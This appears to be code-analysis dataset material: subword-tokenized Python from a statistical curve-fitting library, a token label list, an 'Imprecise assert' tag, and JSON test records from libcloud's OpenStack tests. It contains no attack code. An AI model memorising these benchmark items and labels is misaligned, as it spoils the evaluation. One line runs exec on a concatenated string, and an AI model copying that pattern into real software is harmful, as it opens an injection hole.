"except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "try", " ", "usi", "ng", " ", "estimate", "d", " ", "coefficient", "s", ",", " ", "if", " ", "any_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "in", "Model_", "._", "estimate", "d", "Coeff", "icient", "s_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "coeffs_", "=_", "in", "Model_", "._", "estimate", "d", "Coeff", "icient", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "SS", "Q_", "=_", "in", "Model_", "._", "Calculat", "e", "All", "Data", "Fitt", "ing", "Target_", "(_", "coeffs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "._", "append_", "(_", "[_", "SS", "Q_", ",_", "coeffs_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "myo", "dr_", "=_", "scipy_", "._", "od", "r_", "._", "od", "rpa", "ck_", "._", "OD", "R_", "(_", "data", "Object_", ",_", "model", "Object_", ",_", "beta", "0_", "=_", "in", "Model_", "._", "estimate", "d", "Coeff", "icient", "s_", ",_", "maxi", "t_", "=_", "len_", "(_", "in", "Model_", "._", "Get", "Coeff", "icient", "Designat", "ors_", "(_", ")_", ")_", "*_", "self_", "._", "fmin", "Iterat", "ion", "Limit_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "myo", "dr_", "._", "set\\u", "job_", "(_", "fit", "\\u", "type_", "=_", "0_", ",_", "deriv_", "=_", "0_", ")_", "#", " ", "explicit", " ", "OD", "R", ",", " ", "faste", "r", " ", "forward", "-", "only", " ", "finite", " ", "difference", "s", " ", "for", " ", "derivatives", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "=_", "myo", "dr_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "coeffs_", "=_", "out_", "._", "beta_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "SS", "Q_", "=_", "out_", "._", "sum", "\\u", "square_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "numpy_", "._", "any_", "(_", "numpy_", "._", "isnan_", "(_", "coeffs_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "results_", "._", "append_", "(_", "[_", "SS", "Q_", ",_", "coeffs_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "results_", "==_", "[_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "numpy_", "._", "ones_", "(_", "len_", "(_", "in", "Model_", "._", "Get", "Coeff", "icient", "Designat", "ors_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "results_", ")_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "results_", "._", "sort_", "(_", "key_", "=_", "lambda_", "item_", ":_", "item_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "in", "Model_", "._", "solved", "Coeff", "icient", "s_", "=_", "results_", "[_", "0_", "]_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "in", "Model_", "._", "solved", "Coeff", "icient", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Solve", "r", "Service_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "these", " ", "are", " ", "take", "n", " ", "from", " ", "docs", " ", "for", " ", "sci", "py", ".", "optimize", ".", "minimize", ",", " ", "except", " ", "for", " ", "'", "Leve", "nbe", "rg", "=", "Mar", "quar", "dt", "'.", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "algo", "rit", "hms", " ", "'", "L", "-", "BF", "GS", "-", "B", "'", " ", "and", " ", "'", "TN", "C", "'", " ", "are", " ", "not", " ", "on", " ", "the", " ", "list", " ", "as", " ", "the", "y", " ", "are", " ", "bounded", " ", "version", "s", " ", "of", " ", "other", " ", "algo", "rit", "hms", " ", "liste", "d", " ", "here", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Solve", "Statistic", "al", "Distribution_", "(_", "self_", ",_", "distribu", "tion", "Name_", ",_", "data_", ",_", "in", "Criteria", "For", "Us", "e", "In", "List", "Sort", "ing_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "crite", "ria", "List_", "=_", "[_", "'", "AI", "C", "'_", ",_", "'", "AI", "Cc", "\\u", "BA", "'_", ",_", "'", "nn", "lf", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "in", "Criteria", "For", "Us", "e", "In", "List", "Sort", "ing_", "not_", "in_", "crite", "ria", "List_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "'", "Criteria", " ", "to", " ", "calcul", "ate", " ", "for", " ", "use", " ", "in", " ", "sorting", " ", "was", " ", "not", " ", "in", "'_", ",_", "str_", "(_", "crite", "ria", "List_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "exec_", "(_", "'", "distribu", "tion", " ", "=", " ", "sci", "py", ".", "stats", ".'_", "+_", "distribu", "tion", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "only", " ", "need", " ", "to", " ", "calcul", "ate", " ", "these", " ", "once_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "eps_", "=_", "numpy_", "._", "finfo", "_", "(_", "float_", ")_", "._", "eps_", "*_", "2.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data\\u", "min_", "=_", "data_", "._", "min_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data\\u", "max_", "=_", "data_", "._", "max_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data\\u", "mean_", "=_", "data_", "._", "mean_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data\\u", "range_", "=_", "data\\u", "max_", "-_", "data\\u", "min_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data\\u", "std", "\\u", "dev_", "=_", "numpy_", "._", "std_", "(_", "data_", ",_", "dtype_", "=_", "numpy_", "._", "float32_", ")_", "#", " ", "note", " ", "on", " ", "preci", "sion", " ", "http", "://", "docs", ".", "sci", "py", ".", "org", "/", "doc", "/", "nump", "y", "/", "reference", "/", "generat", "ed", "/", "nump", "y", ".", "std", ".", "html", " _", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Tr", "y", " ", "different", " ", "startin", "g", " ", "parameters_", "\\u\\u\\uNL\\u\\u\\u_", "best", "\\u", "nn", "lf_", "=_", "1.0", "E3", "00_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "best", "\\u", "parameters_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "distribution_", "._", "name_", "in_", "[_", "'", "beta", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "range", "Data_", "=_", "(_", "data_", "-_", "data\\u", "min_", ")_", "/_", "data\\u", "range_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data\\u", "mean_", "=_", "range", "Data_", "._", "mean_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data\\u", "var_", "=_", "range", "Data_", "._", "var_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "par", "\\u", "a_", "=_", "data\\u", "mean_", "*_", "(_", "(_", "data\\u", "mean_", "*_", "(_", "1.0_", "-_", "data\\u", "mean_", ")_", "/_", "data\\u", "var_", ")_", "-_", "1.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "par", "\\u", "b_", "=_", "(_", "1.0_", "-_", "data\\u", "mean_", ")_", "*_", "(_", "(_", "data\\u", "mean_", "*_", "(_", "1.0_", "-_", "data\\u", "mean_", ")_", "/_", "data\\u", "var_", ")_", "-_", "1.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "par", "0_", "=_", "(_", "par", "\\u", "a_", ",_", "par", "\\u", "b_", ",_", "data\\u", "min_", "-_", "0.001_", "*_", "data\\u", "min_", ",_", "data\\u", "range_", "*_", "1.00", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "par", "\\u", "est_", "=_", "tuple_", "(_", "distribution_", "._", "fit_", "(_", "data_", ",_", "*_", "(_", "par", "0_", "[_", ":_", "-_", "2_", "]_", ")_", ",_", "loc_", "=_", "data\\u", "min_", "-_", "0.01_", "*_", "data\\u", "min_", ",_", "scale_", "=_", "data\\u", "range_", "*_", "1.01", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nn", "lf_", "=_", "distribution_", "._", "nn", "lf_", "(_", "par", "\\u", "est_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "numpy_", "._", "isfinite_", "(_", "nn", "lf_", ")_", "and_", "nn", "lf_", "<_", "best", "\\u", "nn", "lf_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "best", "\\u", "parameters_", "=_", "par", "\\u", "est_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "best", "\\u", "nn", "lf_", "=_", "nn", "lf_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "distribution_", "._", "name_", "in_", "[_", "'", "trunc", "norm", "'_", ",_", "'", "beta", "prim", "e", "'_", ",_", "'", "reciproc", "al", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "par", "0_", "=_", "(_", "data\\u", "mean_", "-_", "2.0_", "*_", "data\\u", "std", "\\u", "dev_", ",_", "data\\u", "mean_", "+_", "2.0_", "*_", "data\\u", "std", "\\u", "dev_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "par", "\\u", "est_", "=_", "tuple_", "(_", "distribution_", "._", "fit_", "(_", "data_", ",_", "loc_", "=_", "data\\u", "mean_", ",_", "scale_", "=_", "data\\u", "std", "\\u", "dev_", ",_", "*_", "par", "0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nn", "lf_", "=_", "distribution_", "._", "nn", "lf_", "(_", "par", "\\u", "est_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "numpy_", "._", "isfinite_", "(_", "nn", "lf_", ")_", "and_", "nn", "lf_", "<_", "best", "\\u", "nn", "lf_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "best", "\\u", "parameters_", "=_", "par", "\\u", "est_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "best", "\\u", "nn", "lf_", "=_", "nn", "lf_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "par", "\\u", "est_", "=_", "tuple_", "(_", "distribution_", "._", "fit_", "(_", "data_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nn", "lf_", "=_", "distribution_", "._", "nn", "lf_", "(_", "par", "\\u", "est_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "numpy_", "._", "isfinite_", "(_", "nn", "lf_", ")_", "and_", "nn", "lf_", "<_", "best", "\\u", "nn", "lf_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "best", "\\u", "parameters_", "=_", "par", "\\u", "est_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "best", "\\u", "nn", "lf_", "=_", "nn", "lf_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "par", "\\u", "est_", "=_", "tuple_", "(_", "distribution_", "._", "fit_", "(_", "data_", ",_", "loc_", "=_", "0.0_", ",_", "scale_", "=_", "1.0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nn", "lf_", "=_", "distribution_", "._", "nn", "lf_", "(_", "par", "\\u", "est_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "numpy_", "._", "isfinite_", "(_", "nn", "lf_", ")_", "and_", "nn", "lf_", "<_", "best", "\\u", "nn", "lf_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "best", "\\u", "parameters_", "=_", "par", "\\u", "est_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "best", "\\u", "nn", "lf_", "=_", "nn", "lf_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "par", "\\u", "est_", "=_", "tuple_", "(_", "distribution_", "._", "fit_", "(_", "data_", ",_", "loc_", "=_", "data\\u", "mean_", ",_", "scale_", "=_", "data\\u", "std", "\\u", "dev_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nn", "lf_", "=_", "distribution_", "._", "nn", "lf_", "(_", "par", "\\u", "est_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "numpy_", "._", "isfinite_", "(_", "nn", "lf_", ")_", "and_", "nn", "lf_", "<_", "best", "\\u", "nn", "lf_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "best", "\\u", "parameters_", "=_", "par", "\\u", "est_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "best", "\\u", "nn", "lf_", "=_", "nn", "lf_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "par", "\\u", "est_", "=_", "tuple_", "(_", "distribution_", "._", "fit_", "(_", "data_", ",_", "loc_", "=_", "data\\u", "max_", "+_", "eps_", ",_", "scale_", "=_", "data\\u", "std", "\\u", "dev_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nn", "lf_", "=_", "distribution_", "._", "nn", "lf_", "(_", "par", "\\u", "est_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "numpy_", "._", "isfinite_", "(_", "nn", "lf_", ")_", "and_", "nn", "lf_", "<_", "best", "\\u", "nn", "lf_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "best", "\\u", "parameters_", "=_", "par", "\\u", "est_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "best", "\\u", "nn", "lf_", "=_", "nn", "lf_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "par", "\\u", "est_", "=_", "tuple_", "(_", "distribution_", "._", "fit_", "(_", "data_", ",_", "loc_", "=_", "data\\u", "min_", "-_", "eps_", ",_", "scale_", "=_", "data\\u", "std", "\\u", "dev_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nn", "lf_", "=_", "distribution_", "._", "nn", "lf_", "(_", "par", "\\u", "est_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "numpy_", "._", "isfinite_", "(_", "nn", "lf_", ")_", "and_", "nn", "lf_", "<_", "best", "\\u", "nn", "lf_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "best", "\\u", "parameters_", "=_", "par", "\\u", "est_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "best", "\\u", "nn", "lf_", "=_", "nn", "lf_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "par", "\\u", "est_", "=_", "tuple_", "(_", "distribution_", "._", "fit_", "(_", "data_", ",_", "loc_", "=_", "data\\u", "max_", "+_", "eps_", ",_", "scale_", "=_", "data\\u", "range_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nn", "lf_", "=_", "distribution_", "._", "nn", "lf_", "(_", "par", "\\u", "est_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "numpy_", "._", "isfinite_", "(_", "nn", "lf_", ")_", "and_", "nn", "lf_", "<_", "best", "\\u", "nn", "lf_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "best", "\\u", "parameters_", "=_", "par", "\\u", "est_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "best", "\\u", "nn", "lf_", "=_", "nn", "lf_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "par", "\\u", "est_", "=_", "tuple_", "(_", "distribution_", "._", "fit_", "(_", "data_", ",_", "loc_", "=_", "data\\u", "min_", "-_", "eps_", ",_", "scale_", "=_", "data\\u", "range_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nn", "lf_", "=_", "distribution_", "._", "nn", "lf_", "(_", "par", "\\u", "est_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "numpy_", "._", "isfinite_", "(_", "nn", "lf_", ")_", "and_", "nn", "lf_", "<_", "best", "\\u", "nn", "lf_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "best", "\\u", "parameters_", "=_", "par", "\\u", "est_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "best", "\\u", "nn", "lf_", "=_", "nn", "lf_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "best", "\\u", "nn", "lf_", "<_", "1.0", "E3", "00_", ")_", "and_", "(_", "best", "\\u", "parameters_", "is_", "not_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "k_", "=_", "len_", "(_", "best", "\\u", "parameters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "AI", "C_", "=_", "2.0_", "*_", "k_", "+_", "2.0_", "*_", "best", "\\u", "nn", "lf_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "=_", "len_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "AI", "Cc", "\\u", "BA", "_", "=_", "AI", "C_", "+_", "(_", "(_", "2.0_", "*_", "k_", "*_", "(_", "k_", "+_", "1.0_", ")_", ")_", "/_", "(_", "n_", "-_", "k_", "-_", "1.0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "temp_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "[_", "'", "distribu", "tion", "Name", "'_", "]_", "=_", "distribu", "tion", "Name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "[_", "'", "fitted", "Parameter", "s", "'_", "]_", "=_", "best", "\\u", "parameters_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "[_", "'", "nn", "lf", "'_", "]_", "=_", "best", "\\u", "nn", "lf_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "[_", "'", "AI", "C", "'_", "]_", "=_", "AI", "C_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "[_", "'", "AI", "Cc", "\\u", "BA", "'_", "]_", "=_", "AI", "Cc", "\\u", "BA", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "in", "Criteria", "For", "Us", "e", "In", "List", "Sort", "ing_", "==_", "'", "nn", "lf", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "[_", "best", "\\u", "nn", "lf_", ",_", "temp_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "in", "Criteria", "For", "Us", "e", "In", "List", "Sort", "ing_", "==_", "'", "AI", "C", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "[_", "AI", "C_", ",_", "temp_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "[_", "AI", "Cc", "\\u", "BA", "_", ",_", "temp_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
apache/libcloud/libcloud/test/compute/test_openstack.py
[ { "content": " def test_list_nodes(self):\n OpenStackMockHttp.type = 'EMPTY'\n ret = self.driver.list_nodes()\n self.assertEqual(len(ret), 0)\n OpenStackMockHttp.type = None\n ret = self.driver.list_nodes()\n self.assertEqual(len(ret), 1)\n node = ret[0]\n self.assertEqual('67.23.21.33', node.public_ips[0])\n self.assertTrue('10.176.168.218' in node.private_ips)\n self.assertEqual(node.extra.get('flavorId'), '1')\n self.assertEqual(node.extra.get('imageId'), '11')\n self.assertEqual(type(node.extra.get('metadata')), type(dict()))\n\n OpenStackMockHttp.type = 'METADATA'\n ret = self.driver.list_nodes()\n self.assertEqual(len(ret), 1)\n node = ret[0]\n self.assertEqual(type(node.extra.get('metadata')), type(dict()))\n self.assertEqual(node.extra.get('metadata').get('somekey'),\n 'somevalue')\n OpenStackMockHttp.type = None", "metadata": "root.OpenStack_1_0_Tests.test_list_nodes", "header": "['class', 'OpenStack_1_0_Tests', '(', 'unittest', '.', 'TestCase', ',', 'TestCaseMixin', ')', ':', '___EOS___']", "index": 227 }, { "content": " def test_reboot_node(self):\n node = Node(id=72258, name=None, state=None, public_ips=None,\n private_ips=None, driver=self.driver)\n ret = node.reboot()\n 